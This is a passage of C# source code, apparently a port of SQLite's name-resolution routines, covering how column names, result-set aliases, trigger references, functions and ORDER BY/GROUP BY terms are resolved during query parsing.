** ** Hack: The TK_AS operator is inhibited if zType[0]=='G'. This means ** that in a GROUP BY clause, the expression is evaluated twice. Hence: ** ** SELECT random()%5 AS x, count(*) FROM tab GROUP BY x ** ** Is equivalent to: ** ** SELECT random()%5 AS x, count(*) FROM tab GROUP BY random()%5 ** ** The result of random()%5 in the GROUP BY clause is probably different ** from the result in the result-set. We might fix this someday. Or ** then again, we might not... */ static void resolveAlias( Parse pParse, /* Parsing context */ ExprList pEList, /* A result set */ int iCol, /* A column in the result set. 0..pEList.nExpr-1 */ Expr pExpr, /* Transform this into an alias to the result set */ string zType /* "GROUP" or "ORDER" or "" */ ) { Expr pOrig; /* The iCol-th column of the result set */ Expr pDup; /* Copy of pOrig */ sqlite3 db; /* The database connection */ Debug.Assert( iCol >= 0 && iCol < pEList.nExpr ); pOrig = pEList.a[iCol].pExpr; Debug.Assert( pOrig != null ); Debug.Assert( ( pOrig.flags & EP_Resolved ) != 0 ); db = pParse.db; if ( pOrig.op != TK_COLUMN && ( zType.Length == 0 || zType[0] != 'G' ) ) { pDup = sqlite3ExprDup( db, pOrig, 0 ); pDup = sqlite3PExpr( pParse, TK_AS, pDup, null, null ); if ( pDup == null ) return; if ( pEList.a[iCol].iAlias == 0 ) { pEList.a[iCol].iAlias = (u16)( ++pParse.nAlias ); } pDup.iTable = pEList.a[iCol].iAlias; } else if ( ExprHasProperty( pOrig, EP_IntValue ) || pOrig.u.zToken == null ) { pDup = sqlite3ExprDup( db, pOrig, 0 ); if ( pDup == null ) return; } else { string zToken = pOrig.u.zToken; Debug.Assert( zToken != null ); pOrig.u.zToken = null; pDup = sqlite3ExprDup( db, pOrig, 0 ); pOrig.u.zToken = zToken; if ( pDup == null ) return; Debug.Assert( ( pDup.flags & ( EP_Reduced | EP_TokenOnly ) ) == 0 ); pDup.flags2 |= EP2_MallocedToken; pDup.u.zToken = zToken;// sqlite3DbStrDup( db, zToken ); } if ( ( pExpr.flags & EP_ExpCollate ) != 0 ) { pDup.pColl = pExpr.pColl; pDup.flags |= EP_ExpCollate; } sqlite3ExprClear( db, pExpr ); pExpr.CopyFrom( pDup ); //memcpy(pExpr, pDup, sizeof(*pExpr)); //sqlite3DbFree( db, ref pDup ); } /* ** Given the name of a column of the form X.Y.Z or Y.Z or just Z, look up ** that name in the set of source tables in pSrcList and make the pExpr ** expression node refer back to that source column. The following changes ** are made to pExpr: ** ** pExpr->iDb Set the index in db->aDb[] of the database X ** (even if X is implied). ** pExpr->iTable Set to the cursor number for the table obtained ** from pSrcList. ** pExpr->pTab Points to the Table structure of X.Y (even if ** X and/or Y are implied.) ** pExpr->iColumn Set to the column number within the table. ** pExpr->op Set to TK_COLUMN. ** pExpr->pLeft Any expression this points to is deleted ** pExpr->pRight Any expression this points to is deleted. ** ** The zDb variable is the name of the database (the "X"). This value may be ** NULL meaning that name is of the form Y.Z or Z. Any available database ** can be used. The zTable variable is the name of the table (the "Y"). This ** value can be NULL if zDb is also NULL. If zTable is NULL it ** means that the form of the name is Z and that columns from any table ** can be used. ** ** If the name cannot be resolved unambiguously, leave an error message ** in pParse and return WRC_Abort. Return WRC_Prune on success. */ static int lookupName( Parse pParse, /* The parsing context */ string zDb, /* Name of the database containing table, or NULL */ string zTab, /* Name of table containing column, or NULL */ string zCol, /* Name of the column. */ NameContext pNC, /* The name context used to resolve the name */ Expr pExpr /* Make this EXPR node point to the selected column */ ) { int i, j; /* Loop counters */ int cnt = 0; /* Number of matching column names */ int cntTab = 0; /* Number of matching table names */ sqlite3 db = pParse.db; /* The database connection */ SrcList_item pItem; /* Use for looping over pSrcList items */ SrcList_item pMatch = null; /* The matching pSrcList item */ NameContext pTopNC = pNC; /* First namecontext in the list */ Schema pSchema = null; /* Schema of the expression */ Debug.Assert( pNC != null ); /* the name context cannot be NULL. */ Debug.Assert( zCol != null ); /* The Z in X.Y.Z cannot be NULL */ Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) ); /* Initialize the node to no-match */ pExpr.iTable = -1; pExpr.pTab = null; ExprSetIrreducible( pExpr ); /* Start at the inner-most context and move outward until a match is found */ while ( pNC != null && cnt == 0 ) { ExprList pEList; SrcList pSrcList = pNC.pSrcList; if ( pSrcList != null ) { for ( i = 0 ; i < pSrcList.nSrc ; i++ )//, pItem++ ) { pItem = pSrcList.a[i]; Table pTab; int iDb; Column pCol; pTab = pItem.pTab; Debug.Assert( pTab != null && pTab.zName != null ); iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); Debug.Assert( pTab.nCol > 0 ); if ( zTab != null ) { if ( pItem.zAlias != null ) { string zTabName = pItem.zAlias; if ( sqlite3StrICmp( zTabName, zTab ) != 0 ) continue; } else { string zTabName = pTab.zName; if ( NEVER( zTabName == null ) || sqlite3StrICmp( zTabName, zTab ) != 0 ) { continue; } if ( zDb != null && sqlite3StrICmp( db.aDb[iDb].zName, zDb ) != 0 ) { continue; } } } if ( 0 == ( cntTab++ ) ) { pExpr.iTable = pItem.iCursor; pExpr.pTab = pTab; pSchema = pTab.pSchema; pMatch = pItem; } for ( j = 0 ; j < pTab.nCol ; j++ )//, pCol++ ) { pCol = pTab.aCol[j]; if ( sqlite3StrICmp( pCol.zName, zCol ) == 0 ) { IdList pUsing; cnt++; pExpr.iTable = pItem.iCursor; pExpr.pTab = pTab; pMatch = pItem; pSchema = pTab.pSchema; /* Substitute the rowid (column -1) for the INTEGER PRIMARY KEY */ pExpr.iColumn = (short)( j == pTab.iPKey ? -1 : j ); if ( i < pSrcList.nSrc - 1 ) { if ( ( pSrcList.a[i + 1].jointype & JT_NATURAL ) != 0 )// pItem[1].jointype { /* If this match occurred in the left table of a natural join, ** then skip the right table to avoid a duplicate match */ //pItem++; i++; } else if ( ( pUsing = pSrcList.a[i + 1].pUsing ) != null )//pItem[1].pUsing { /* If this match occurs on a column that is in the USING clause ** of a join, skip the search of the right table of the join ** to avoid a duplicate match there. */ int k; for ( k = 0 ; k < pUsing.nId ; k++ ) { if ( sqlite3StrICmp( pUsing.a[k].zName, zCol ) == 0 ) { //pItem++; i++; break; } } } } break; } } } } #if !SQLITE_OMIT_TRIGGER /* If we have not already resolved the name, then maybe ** it is a new.* or old.* trigger argument reference */ if ( zDb == null && zTab != null && cnt == 0 && pParse.trigStack != null ) { TriggerStack pTriggerStack = pParse.trigStack; Table pTab = null; u32 piColMask = 0; bool bNew = false; bool bOld = false; if ( pTriggerStack.newIdx != -1 && sqlite3StrICmp( "new", zTab ) == 0 ) { pExpr.iTable = pTriggerStack.newIdx; Debug.Assert( pTriggerStack.pTab != null ); pTab = pTriggerStack.pTab; piColMask = pTriggerStack.newColMask; bNew = true; } else if ( pTriggerStack.oldIdx != -1 && sqlite3StrICmp( "old", zTab ) == 0 ) { pExpr.iTable = pTriggerStack.oldIdx; Debug.Assert( pTriggerStack.pTab != null ); pTab = pTriggerStack.pTab; piColMask = pTriggerStack.oldColMask; bOld = true; } if ( pTab != null ) { int iCol; Column pCol;// = pTab.aCol; pSchema = pTab.pSchema; cntTab++; for ( iCol = 0 ; iCol < pTab.nCol ; iCol++ )//, pCol++) { pCol = pTab.aCol[iCol]; if ( sqlite3StrICmp( pCol.zName, zCol ) == 0 ) { cnt++; pExpr.iColumn = (short)( iCol == pTab.iPKey ? -1 : iCol ); pExpr.pTab = pTab; testcase( iCol == 31 ); testcase( iCol == 32 ); if ( iCol >= 32 ) { piColMask = 0xffffffff; } else { piColMask |= ( (u32)1 ) << iCol; } break; } } if ( bOld ) pTriggerStack.oldColMask = piColMask; if ( bNew ) pTriggerStack.newColMask = piColMask; } } #endif //* !SQLITE_OMIT_TRIGGER) */ /* ** Perhaps the name is a reference to the ROWID */ if ( cnt == 0 && cntTab == 1 && sqlite3IsRowid( zCol ) ) { cnt = 1; pExpr.iColumn = -1; pExpr.affinity = SQLITE_AFF_INTEGER; } /* ** If the input is of the form Z (not Y.Z or X.Y.Z) then the name Z ** might refer to an result-set alias. This happens, for example, when ** we are resolving names in the WHERE clause of the following command: ** ** SELECT a+b AS x FROM table WHERE x<10; ** ** In cases like this, replace pExpr with a copy of the expression that ** forms the result set entry ("a+b" in the example) and return immediately. ** Note that the expression in the result set should have already been ** resolved by the time the WHERE clause is resolved. */ if ( cnt == 0 && ( pEList = pNC.pEList ) != null && zTab == null ) { for ( j = 0 ; j < pEList.nExpr ; j++ ) { string zAs = pEList.a[j].zName; if ( zAs != null && sqlite3StrICmp( zAs, zCol ) == 0 ) { Expr pOrig; Debug.Assert( pExpr.pLeft == null && pExpr.pRight == null ); Debug.Assert( pExpr.x.pList == null ); Debug.Assert( pExpr.x.pSelect == null ); pOrig = pEList.a[j].pExpr; if ( 0 == pNC.allowAgg && ExprHasProperty( pOrig, EP_Agg ) ) { sqlite3ErrorMsg( pParse, "misuse of aliased aggregate %s", zAs ); return WRC_Abort; } resolveAlias( pParse, pEList, j, pExpr, "" ); cnt = 1; pMatch = null; Debug.Assert( zTab == null && zDb == null ); goto lookupname_end; } } } /* Advance to the next name context. The loop will exit when either ** we have a match (cnt>0) or when we run out of name contexts. */ if ( cnt == 0 ) { pNC = pNC.pNext; } } /* ** If X and Y are NULL (in other words if only the column name Z is ** supplied) and the value of Z is enclosed in double-quotes, then ** Z is a string literal if it doesn't match any column names. In that ** case, we need to return right away and not make any changes to ** pExpr. ** ** Because no reference was made to outer contexts, the pNC.nRef ** fields are not changed in any context. */ if ( cnt == 0 && zTab == null && ExprHasProperty( pExpr, EP_DblQuoted ) ) { pExpr.op = TK_STRING; pExpr.pTab = null; return WRC_Prune; } /* ** cnt==0 means there was not match. cnt>1 means there were two or ** more matches. Either way, we have an error. */ if ( cnt != 1 ) { string zErr; zErr = cnt == 0 ? "no such column" : "ambiguous column name"; if ( zDb != null ) { sqlite3ErrorMsg( pParse, "%s: %s.%s.%s", zErr, zDb, zTab, zCol ); } else if ( zTab != null ) { sqlite3ErrorMsg( pParse, "%s: %s.%s", zErr, zTab, zCol ); } else { sqlite3ErrorMsg( pParse, "%s: %s", zErr, zCol ); } pTopNC.nErr++; } /* If a column from a table in pSrcList is referenced, then record ** this fact in the pSrcList.a[].colUsed bitmask. Column 0 causes ** bit 0 to be set. Column 1 sets bit 1. And so forth. If the ** column number is greater than the number of bits in the bitmask ** then set the high-order bit of the bitmask. */ if ( pExpr.iColumn >= 0 && pMatch != null ) { int n = pExpr.iColumn; testcase( n == BMS - 1 ); if ( n >= BMS ) { n = BMS - 1; } Debug.Assert( pMatch.iCursor == pExpr.iTable ); pMatch.colUsed |= ( (Bitmask)1 ) << n; } /* Clean up and return */ sqlite3ExprDelete( db, ref pExpr.pLeft ); pExpr.pLeft = null; sqlite3ExprDelete( db, ref pExpr.pRight ); pExpr.pRight = null; pExpr.op = TK_COLUMN; lookupname_end: if ( cnt == 1 ) { Debug.Assert( pNC != null ); sqlite3AuthRead( pParse, pExpr, pSchema, pNC.pSrcList ); /* Increment the nRef value on all name contexts from TopNC up to ** the point where the name matched. */ for ( ; ; ) { Debug.Assert( pTopNC != null ); pTopNC.nRef++; if ( pTopNC == pNC ) break; pTopNC = pTopNC.pNext; } return WRC_Prune; } else { return WRC_Abort; } } /* ** This routine is callback for sqlite3WalkExpr(). ** ** Resolve symbolic names into TK_COLUMN operators for the current ** node in the expression tree. Return 0 to continue the search down ** the tree or 2 to abort the tree walk. ** ** This routine also does error checking and name resolution for ** function names. The operator for aggregate functions is changed ** to TK_AGG_FUNCTION. */ static int resolveExprStep( Walker pWalker, ref Expr pExpr ) { NameContext pNC; Parse pParse; pNC = pWalker.u.pNC; Debug.Assert( pNC != null ); pParse = pNC.pParse; Debug.Assert( pParse == pWalker.pParse ); if ( ExprHasAnyProperty( pExpr, EP_Resolved ) ) return WRC_Prune; ExprSetProperty( pExpr, EP_Resolved ); #if !NDEBUG if ( pNC.pSrcList != null && pNC.pSrcList.nAlloc > 0 ) { SrcList pSrcList = pNC.pSrcList; int i; for ( i = 0 ; i < pNC.pSrcList.nSrc ; i++ ) { Debug.Assert( pSrcList.a[i].iCursor >= 0 && pSrcList.a[i].iCursor < pParse.nTab ); } } #endif switch ( pExpr.op ) { #if (SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !(SQLITE_OMIT_SUBQUERY) /* The special operator TK_ROW means use the rowid for the first ** column in the FROM clause. This is used by the LIMIT and ORDER BY ** clause processing on UPDATE and DELETE statements. */ case TK_ROW: { SrcList pSrcList = pNC.pSrcList; SrcList_item pItem; Debug.Assert( pSrcList !=null && pSrcList.nSrc==1 ); pItem = pSrcList.a[0]; pExpr.op = TK_COLUMN; pExpr.pTab = pItem.pTab; pExpr.iTable = pItem.iCursor; pExpr.iColumn = -1; pExpr.affinity = SQLITE_AFF_INTEGER; break; } #endif //* defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !defined(SQLITE_OMIT_SUBQUERY) / /* A lone identifier is the name of a column. */ case TK_ID: { return lookupName( pParse, null, null, pExpr.u.zToken, pNC, pExpr ); } /* A table name and column name: ID.ID ** Or a database, table and column: ID.ID.ID */ case TK_DOT: { string zColumn; string zTable; string zDb; Expr pRight; /* if( pSrcList==0 ) break; */ pRight = pExpr.pRight; if ( pRight.op == TK_ID ) { zDb = null; zTable = pExpr.pLeft.u.zToken; zColumn = pRight.u.zToken; } else { Debug.Assert( pRight.op == TK_DOT ); zDb = pExpr.pLeft.u.zToken; zTable = pRight.pLeft.u.zToken; zColumn = pRight.pRight.u.zToken; } return lookupName( pParse, zDb, zTable, zColumn, pNC, pExpr ); } /* Resolve function names */ case TK_CONST_FUNC: case TK_FUNCTION: { ExprList pList = pExpr.x.pList; /* The argument list */ int n = pList != null ? pList.nExpr : 0; /* Number of arguments */ bool no_such_func = false; /* True if no such function exists */ bool wrong_num_args = false; /* True if wrong number of arguments */ bool is_agg = false; /* True if is an aggregate function */ int auth; /* Authorization to use the function */ int nId; /* Number of characters in function name */ string zId; /* The function name. */ FuncDef pDef; /* Information about the function */ u8 enc = (u8)pParse.db.aDbStatic[0].pSchema.enc;// ENC( pParse.db ); /* The database encoding */ testcase( pExpr.op == TK_CONST_FUNC ); Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); zId = pExpr.u.zToken; nId = sqlite3Strlen30( zId ); pDef = sqlite3FindFunction( pParse.db, zId, nId, n, enc, 0 ); if ( pDef == null ) { pDef = sqlite3FindFunction( pParse.db, zId, nId, -1, enc, 0 ); if ( pDef == null ) { no_such_func = true; } else { wrong_num_args = true; } } else { is_agg = pDef.xFunc == null; } #if !SQLITE_OMIT_AUTHORIZATION if( pDef ){ auth = sqlite3AuthCheck(pParse, SQLITE_FUNCTION, 0, pDef.zName, 0); if( auth!=SQLITE_OK ){ if( auth==SQLITE_DENY ){ sqlite3ErrorMsg(pParse, "not authorized to use function: %s", pDef.zName); pNC.nErr++; } pExpr.op = TK_NULL; return WRC_Prune; } } #endif if ( is_agg && 0 == pNC.allowAgg ) { sqlite3ErrorMsg( pParse, "misuse of aggregate function %.*s()", nId, zId ); pNC.nErr++; is_agg = false; } else if ( no_such_func ) { sqlite3ErrorMsg( pParse, "no such function: %.*s", nId, zId ); pNC.nErr++; } else if ( wrong_num_args ) { sqlite3ErrorMsg( pParse, "wrong number of arguments to function %.*s()", nId, zId ); pNC.nErr++; } if ( is_agg ) { pExpr.op = TK_AGG_FUNCTION; pNC.hasAgg = 1; } if ( is_agg ) pNC.allowAgg = 0; sqlite3WalkExprList( pWalker, pList ); if ( is_agg ) pNC.allowAgg = 1; /* FIX ME: Compute pExpr.affinity based on the expected return ** type of the function */ return WRC_Prune; } #if !SQLITE_OMIT_SUBQUERY case TK_SELECT: case TK_EXISTS: { testcase( pExpr.op == TK_EXISTS ); goto case TK_IN; } #endif case TK_IN: { testcase( pExpr.op == TK_IN ); if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) { int nRef = pNC.nRef; #if !SQLITE_OMIT_CHECK if ( pNC.isCheck != 0 ) { sqlite3ErrorMsg( pParse, "subqueries prohibited in CHECK constraints" ); } #endif sqlite3WalkSelect( pWalker, pExpr.x.pSelect ); Debug.Assert( pNC.nRef >= nRef ); if ( nRef != pNC.nRef ) { ExprSetProperty( pExpr, EP_VarSelect ); } } break; } #if !SQLITE_OMIT_CHECK case TK_VARIABLE: { if ( pNC.isCheck != 0 ) { sqlite3ErrorMsg( pParse, "parameters prohibited in CHECK constraints" ); } break; } #endif } return ( pParse.nErr != 0 /* || pParse.db.mallocFailed != 0 */ ) ? WRC_Abort : WRC_Continue; } /* ** pEList is a list of expressions which are really the result set of the ** a SELECT statement. pE is a term in an ORDER BY or GROUP BY clause. ** This routine checks to see if pE is a simple identifier which corresponds ** to the AS-name of one of the terms of the expression list. If it is, ** this routine return an integer between 1 and N where N is the number of ** elements in pEList, corresponding to the matching entry. If there is ** no match, or if pE is not a simple identifier, then this routine ** return 0. ** ** pEList has been resolved. pE has not. */ static int resolveAsName( Parse pParse, /* Parsing context for error messages */ ExprList pEList, /* List of expressions to scan */ Expr pE /* Expression we are trying to match */ ) { int i; /* Loop counter */ UNUSED_PARAMETER( pParse ); if ( pE.op == TK_ID ) { string zCol = pE.u.zToken; for ( i = 0 ; i < pEList.nExpr ; i++ ) { string zAs = pEList.a[i].zName; if ( zAs != null && sqlite3StrICmp( zAs, zCol ) == 0 ) { return i + 1; } } } return 0; } /* ** pE is a pointer to an expression which is a single term in the ** ORDER BY of a compound SELECT. The expression has not been ** name resolved. ** ** At the point this routine is called, we already know that the ** ORDER BY term is not an integer index into the result set. That ** case is handled by the calling routine. ** ** Attempt to match pE against result set columns in the left-most ** SELECT statement. Return the index i of the matching column, ** as an indication to the caller that it should sort by the i-th column. ** The left-most column is 1. In other words, the value returned is the ** same integer value that would be used in the SQL statement to indicate ** the column. ** ** If there is no match, return 0. Return -1 if an error occurs. */ static int resolveOrderByTermToExprList( Parse pParse, /* Parsing context for error messages */ Select pSelect, /* The SELECT statement with the ORDER BY clause */ Expr pE /* The specific ORDER BY term */ ) { int i = 0; /* Loop counter */ ExprList pEList; /* The columns of the result set */ NameContext nc; /* Name context for resolving pE */ Debug.Assert( sqlite3ExprIsInteger( pE, ref i ) == 0 ); pEList = pSelect.pEList; /* Resolve all names in the ORDER BY term expression */ nc = new NameContext();// memset( &nc, 0, sizeof( nc ) ); nc.pParse = pParse; nc.pSrcList = pSelect.pSrc; nc.pEList = pEList; nc.allowAgg = 1; nc.nErr = 0; if ( sqlite3ResolveExprNames( nc, ref pE ) != 0 ) { sqlite3ErrorClear( pParse ); return 0; } /* Try to match the ORDER BY expression against an expression ** in the result set. Return an 1-based index of the matching ** result-set entry. */ for ( i = 0 ; i < pEList.nExpr ; i++ ) { if ( sqlite3ExprCompare( pEList.a[i].pExpr, pE ) ) { return i + 1; } } /* If no match, return 0. */ return 0; } /* ** Generate an ORDER BY or GROUP BY term out-of-range error. */ static void resolveOutOfRangeError( Parse pParse, /* The error context into which to write the error */ string zType, /* "ORDER" or "GROUP" */ int i, /* The index (1-based) of the term out of range */ int mx /* Largest permissible value of i */ ) { sqlite3ErrorMsg( pParse, "%r %s BY term out of range - should be " + "between 1 and %d", i, zType, mx ); } /* ** Analyze the ORDER BY clause in a compound SELECT statement. Modify ** each term of the ORDER BY clause is a constant integer between 1 ** and N where N is the number of columns in the compound SELECT. ** ** ORDER BY terms that are already an integer between 1 and N are ** unmodified. ORDER BY terms that are integers outside the range of ** 1 through N generate an error. ORDER BY terms that are expressions ** are matched against result set expressions of compound SELECT ** beginning with the left-most SELECT and working toward the right. ** At the first match, the ORDER BY expression is transformed into ** the integer column number. ** ** Return the number of errors seen. */ static int resolveCompoundOrderBy( Parse pParse, /* Parsing context. Leave error messages here */ Select pSelect /* The SELECT statement containing the ORDER BY */ ) { int i; ExprList pOrderBy; ExprList pEList; sqlite3 db; int moreToDo = 1; pOrderBy = pSelect.pOrderBy; if ( pOrderBy == null ) return 0; db = pParse.db; #if SQLITE_MAX_COLUMN if( pOrderBy.nExpr>db.aLimit[SQLITE_LIMIT_COLUMN] ){ sqlite3ErrorMsg(pParse, "too many terms in ORDER BY clause"); return 1; } #endif for ( i = 0 ; i < pOrderBy.nExpr ; i++ ) { pOrderBy.a[i].done = 0; } pSelect.pNext = null; while ( pSelect.pPrior != null ) { pSelect.pPrior.pNext = pSelect; pSelect = pSelect.pPrior; } while ( pSelect != null && moreToDo != 0 ) { ExprList_item pItem; moreToDo = 0; pEList = pSelect.pEList; Debug.Assert( pEList != null ); for ( i = 0 ; i < pOrderBy.nExpr ; i++ )//, pItem++) { pItem = pOrderBy.a[i]; int iCol = -1; Expr pE, pDup; if ( pItem.done != 0 ) continue; pE = pItem.pExpr; if ( sqlite3ExprIsInteger( pE, ref iCol ) != 0 ) { if ( iCol <= 0 || iCol > pEList.nExpr ) { resolveOutOfRangeError( pParse, "ORDER", i + 1, pEList.nExpr ); return 1; } } else { iCol = resolveAsName( pParse, pEList, pE ); if ( iCol == 0 ) { pDup = sqlite3ExprDup( db, pE, 0 ); ////if ( 0 == db.mallocFailed ) { Debug.Assert( pDup != null ); iCol = resolveOrderByTermToExprList( pParse, pSelect, pDup ); } sqlite3ExprDelete( db, ref pDup ); } } if ( iCol > 0 ) { CollSeq pColl = pE.pColl; int flags = pE.flags & EP_ExpCollate; sqlite3ExprDelete( db, ref pE ); pItem.pExpr = pE = sqlite3Expr( db, TK_INTEGER, null ); if ( pE == null ) return 1; pE.pColl = pColl; pE.flags = (u16)( pE.flags | EP_IntValue | flags ); pE.u.iValue = iCol; pItem.iCol = (u16)iCol; pItem.done = 1; } else { moreToDo = 1; } } pSelect = pSelect.pNext; } for ( i = 0 ; i < pOrderBy.nExpr ; i++ ) { if ( pOrderBy.a[i].done == 0 ) { sqlite3ErrorMsg( pParse, "%r ORDER BY term does not match any " + "column in the result set", i + 1 ); return 1; } } return 0; } /* ** Check every term in the ORDER BY or GROUP BY clause pOrderBy of ** the SELECT statement pSelect. If any term is reference to a ** result set expression (as determined by the ExprList.a.iCol field) ** then convert that term into a copy of the corresponding result set ** column. ** ** If any errors are detected, add an error message to pParse and ** return non-zero. Return zero if no errors are seen. */ static int sqlite3ResolveOrderGroupBy( Parse pParse, /* Parsing context. Leave error messages here */ Select pSelect, /* The SELECT statement containing the clause */ ExprList pOrderBy, /* The ORDER BY or GROUP BY clause to be processed */ string zType /* "ORDER" or "GROUP" */ ) { int i; sqlite3 db = pParse.db; ExprList pEList; ExprList_item pItem; if ( pOrderBy == null /* || pParse.db.mallocFailed != 0 */ ) return 0; #if SQLITE_MAX_COLUMN if( pOrderBy.nExpr>db.aLimit[SQLITE_LIMIT_COLUMN] ){ sqlite3ErrorMsg(pParse, "too many terms in %s BY clause", zType); return 1; } #endif pEList = pSelect.pEList; Debug.Assert( pEList != null ); /* sqlite3SelectNew() guarantees this */ for ( i = 0 ; i < pOrderBy.nExpr ; i++ )//, pItem++) { pItem = pOrderBy.a[i]; if ( pItem.iCol != 0 ) { if ( pItem.iCol > pEList.nExpr ) { resolveOutOfRangeError( pParse, zType, i + 1, pEList.nExpr ); return 1; } resolveAlias( pParse, pEList, pItem.iCol - 1, pItem.pExpr, zType ); } } return 0; } /* ** pOrderBy is an ORDER BY or GROUP BY clause in SELECT statement pSelect. ** The Name context of the SELECT statement is pNC. zType is either ** "ORDER" or "GROUP" depending on which type of clause pOrderBy is. ** ** This routine resolves each term of the clause into an expression. ** If the order-by term is an integer I between 1 and N (where N is the ** number of columns in the result set of the SELECT) then the expression ** in the resolution is a copy of the I-th result-set expression. If ** the order-by term is an identify that corresponds to the AS-name of ** a result-set expression, then the term resolves to a copy of the ** result-set expression. Otherwise, the expression is resolved in ** the usual way - using sqlite3ResolveExprNames(). ** ** This routine returns the number of errors. If errors occur, then ** an appropriate error message might be left in pParse. (OOM errors ** excepted.) */ static int resolveOrderGroupBy( NameContext pNC, /* The name context of the SELECT statement */ Select pSelect, /* The SELECT statement holding pOrderBy */ ExprList pOrderBy, /* An ORDER BY or GROUP BY clause to resolve */ string zType /* Either "ORDER" or "GROUP", as appropriate */ ) { int i; /* Loop counter */ int iCol; /* Column number */ ExprList_item pItem; /* A term of the ORDER BY clause */ Parse pParse; /* Parsing context */ int nResult; /* Number of terms in the result set */ if ( pOrderBy == null ) return 0; nResult = pSelect.pEList.nExpr; pParse = pNC.pParse; for ( i = 0 ; i < pOrderBy.nExpr ; i++ )//, pItem++ ) { pItem = pOrderBy.a[i]; Expr pE = pItem.pExpr; iCol = resolveAsName( pParse, pSelect.pEList, pE ); if ( iCol > 0 ) { /* If an AS-name match is found, mark this ORDER BY column as being ** a copy of the iCol-th result-set column. The subsequent call to ** sqlite3ResolveOrderGroupBy() will convert the expression to a ** copy of the iCol-th result-set expression. */ pItem.iCol = (u16)iCol; continue; } if ( sqlite3ExprIsInteger( pE, ref iCol ) != 0 ) { /* The ORDER BY term is an integer constant. Again, set the column ** number so that sqlite3ResolveOrderGroupBy() will convert the ** order-by term to a copy of the result-set expression */ if ( iCol < 1 ) { resolveOutOfRangeError( pParse, zType, i + 1, nResult ); return 1; } pItem.iCol = (u16)iCol; continue; } /* Otherwise, treat the ORDER BY term as an ordinary expression */ pItem.iCol = 0; if ( sqlite3ResolveExprNames( pNC, ref pE ) != 0 ) { return 1; } } return sqlite3ResolveOrderGroupBy( pParse, pSelect, pOrderBy, zType ); } /* ** Resolve names in the SELECT statement p and all of its descendents. */ static int resolveSelectStep( Walker pWalker, Select p ) { NameContext pOuterNC; /* Context that contains this SELECT */ NameContext sNC; /* Name context of this SELECT */ bool isCompound; /* True if p is a compound select */ int nCompound; /* Number of compound terms processed so far */ Parse pParse; /* Parsing context */ ExprList pEList; /* Result set expression list */ int i; /* Loop counter */ ExprList pGroupBy; /* The GROUP BY clause */ Select pLeftmost; /* Left-most of SELECT of a compound */ sqlite3 db; /* Database connection */ Debug.Assert( p != null ); if ( ( p.selFlags & SF_Resolved ) != 0 ) { return WRC_Prune; } pOuterNC = pWalker.u.pNC; pParse = pWalker.pParse; db = pParse.db; /* Normally sqlite3SelectExpand() will be called first and will have ** already expanded this SELECT. However, if this is a subquery within ** an expression, sqlite3ResolveExprNames() will be called without a ** prior call to sqlite3SelectExpand(). When that happens, let ** sqlite3SelectPrep() do all of the processing for this SELECT. ** sqlite3SelectPrep() will invoke both sqlite3SelectExpand() and ** this routine in the correct order. */ if ( ( p.selFlags & SF_Expanded ) == 0 ) { sqlite3SelectPrep( pParse, p, pOuterNC ); return ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) ? WRC_Abort : WRC_Prune; } isCompound = p.pPrior != null; nCompound = 0; pLeftmost = p; while ( p != null ) { Debug.Assert( ( p.selFlags & SF_Expanded ) != 0 ); Debug.Assert( ( p.selFlags & SF_Resolved ) == 0 ); p.selFlags |= SF_Resolved; /* Resolve the expressions in the LIMIT and OFFSET clauses. These ** are not allowed to refer to any names, so pass an empty NameContext. */ sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) ); sNC.pParse = pParse; if ( sqlite3ResolveExprNames( sNC, ref p.pLimit ) != 0 || sqlite3ResolveExprNames( sNC, ref p.pOffset ) != 0 ) { return WRC_Abort; } /* Set up the local name-context to pass to sqlite3ResolveExprNames() to ** resolve the result-set expression list. */ sNC.allowAgg = 1; sNC.pSrcList = p.pSrc; sNC.pNext = pOuterNC; /* Resolve names in the result set. */ pEList = p.pEList; Debug.Assert( pEList != null ); for ( i = 0 ; i < pEList.nExpr ; i++ ) { Expr pX = pEList.a[i].pExpr; if ( sqlite3ResolveExprNames( sNC, ref pX ) != 0 ) { return WRC_Abort; } } /* Recursively resolve names in all subqueries */ for ( i = 0 ; i < p.pSrc.nSrc ; i++ ) { SrcList_item pItem = p.pSrc.a[i]; if ( pItem.pSelect != null ) { string zSavedContext = pParse.zAuthContext; if ( pItem.zName != null ) pParse.zAuthContext = pItem.zName; sqlite3ResolveSelectNames( pParse, pItem.pSelect, pOuterNC ); pParse.zAuthContext = zSavedContext; if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return WRC_Abort; } } /* If there are no aggregate functions in the result-set, and no GROUP BY ** expression, do not allow aggregates in any of the other expressions. */ Debug.Assert( ( p.selFlags & SF_Aggregate ) == 0 ); pGroupBy = p.pGroupBy; if ( pGroupBy != null || sNC.hasAgg != 0 ) { p.selFlags |= SF_Aggregate; } else { sNC.allowAgg = 0; } /* If a HAVING clause is present, then there must be a GROUP BY clause. */ if ( p.pHaving != null && pGroupBy == null ) { sqlite3ErrorMsg( pParse, "a GROUP BY clause is required before HAVING" ); return WRC_Abort; } /* Add the expression list to the name-context before parsing the ** other expressions in the SELECT statement. This is so that ** expressions in the WHERE clause (etc.) can refer to expressions by ** aliases in the result set. ** ** Minor point: If this is the case, then the expression will be ** re-evaluated for each reference to it. */ sNC.pEList = p.pEList; if ( sqlite3ResolveExprNames( sNC, ref p.pWhere ) != 0 || sqlite3ResolveExprNames( sNC, ref p.pHaving ) != 0 ) { return WRC_Abort; } /* The ORDER BY and GROUP BY clauses may not refer to terms in ** outer queries */ sNC.pNext = null; sNC.allowAgg = 1; /* Process the ORDER BY clause for singleton SELECT statements. ** The ORDER BY clause for compounds SELECT statements is handled ** below, after all of the result-sets for all of the elements of ** the compound have been resolved. */ if ( !isCompound && resolveOrderGroupBy( sNC, p, p.pOrderBy, "ORDER" ) != 0 ) { return WRC_Abort; } //if ( db.mallocFailed != 0 ) //{ // return WRC_Abort; //} /* Resolve the GROUP BY clause. At the same time, make sure ** the GROUP BY clause does not contain aggregate functions. */ if ( pGroupBy != null ) { ExprList_item pItem; if ( resolveOrderGroupBy( sNC, p, pGroupBy, "GROUP" ) != 0 /*|| db.mallocFailed 